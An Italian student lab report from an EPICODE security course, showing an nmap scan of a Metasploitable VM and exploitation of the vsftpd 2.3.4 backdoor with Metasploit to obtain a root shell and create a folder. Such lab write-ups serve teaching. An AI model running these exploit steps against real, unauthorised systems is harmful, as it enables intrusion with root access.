

# **EPICODE**

**Progetto Alessandro Moscetti 06/11**



### Che cos'è un exploit?

Un exploit è del codice malevolo che sfrutta una vulnerabilità già presente nel codice, non ha bisogno di installazioni. Sfruttando la vulnerabilità ci permette di creare un varco nella macchina vittima.

### **Che cos'è il protocollo ftp?**

FTP (File Transfer Protocol) è un protocollo per il trasferimento di dati tra gli host su una rete.

Permette di caricare e scaricare file da un server ftp.

```

(kali@kali)-[~]
$ sudo nmap -sV 192.168.1.149
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-06 15:16 CET
Nmap scan report for 192.168.1.149
Host is up (0.00023s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:E6:33:5F (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.83 seconds

```

Scansione con nmap verso la macchina Metasploitable per vedere le porte aperte con i relativi servizi e la loro versione.

```
msf6 > search vsftpd
```

#### Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Il servizio da attaccare era 'vsftpd' che come abbiamo visto con la scansione precedente è la versione 2.3.4.

Per prima cosa avviamo il tool 'metasploit' e cerchiamo gli exploit presenti nel database riguardante il servizio trovato con il comando 'search' seguito dal nome del software.

Guardando la descrizione andiamo a scegliere quello che interessa la versione del servizio presente nella macchina vittima.

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
```

#### Compatible Payloads

#	Name	Disclosure Date	Rank	Check	Description
0	payload/cmd/unix/interact		normal	No	Unix Command, Interact with Established Connection

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload 0
payload => cmd/unix/interact
```

Andiamo a selezionare l'exploit tramite il comando 'use' seguito dal numero della riga corrispondente della ricerca precedente.

Successivamente con il comando 'show payloads' andiamo a vedere i payloads disponibili per questo exploit, in questo caso solo uno. Per selezionarlo si usa il comando 'set payload' seguito sempre dal numero corrispondente.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	21	yes	The target port (TCP)

```

Payload options (cmd/unix/interact):

  Name  Current Setting  Required  Description
  --  --
  0     Automatic

Exploit target:

  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.
```

Con il comando 'show options' andiamo a vedere le opzioni, per vedere i parametri necessari per l'exploit.

Si possono notare dalla colonna 'Required' dove è presente 'yes', in questo caso 'RHOSTS' è quello mancante.

Per andare ad aggiungerlo utilizziamo il comando 'set' seguito dal nome del parametro mancante e l'informazione.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS	192.168.1.149	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	21	yes	The target port (TCP)

```

Payload options (cmd/unix/interact):

  Name  Current Setting  Required  Description
  --  --
  0     Automatic

Exploit target:

  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:37263 → 192.168.1.149:6200) at 2023-11-06 15:27:56 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:e6:33:5f
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2a0e:418:9c53:0:a00:27ff:fee6:335f/64 Scope:Global
          inet6 addr: fdd7:23:5c01:2030:a00:27ff:fee6:335f/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fee6:335f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3054 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1488 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:210485 (205.5 KB)  TX bytes:119578 (116.7 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:180 errors:0 dropped:0 overruns:0 frame:0
          TX packets:180 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:46183 (45.1 KB)  TX bytes:46183 (45.1 KB)
```


Andiamo ad eseguire l'attacco tramite il comando 'exploit'. Se va a buon fine al termine dell'operazione ci aprirà la shell sulla macchina vittima.



1

```
mkdir /test.metasploit
```

2



```
root@metasploitable:~# cd /
root@metasploitable:~# ls -la
.   boot  etc    initrd.img  media  opt    sbin  test.metasploit  var
..  cdrom  home   lib         mnt    proc   srv   tmp              vmlinuz
bin  dev    initrd  lost+found  nohup.out  root  sys   usr
```

Per concludere l'esercizio ci veniva richiesto di creare una cartella dalla shell appena creata sulla macchina vittima tramite il comando 'mkdir' (fig. 1).

Nella fig. 2 possiamo vedere la cartella creata con successo sulla macchina Metasploitable.

**Grazie per l'attenzione.**

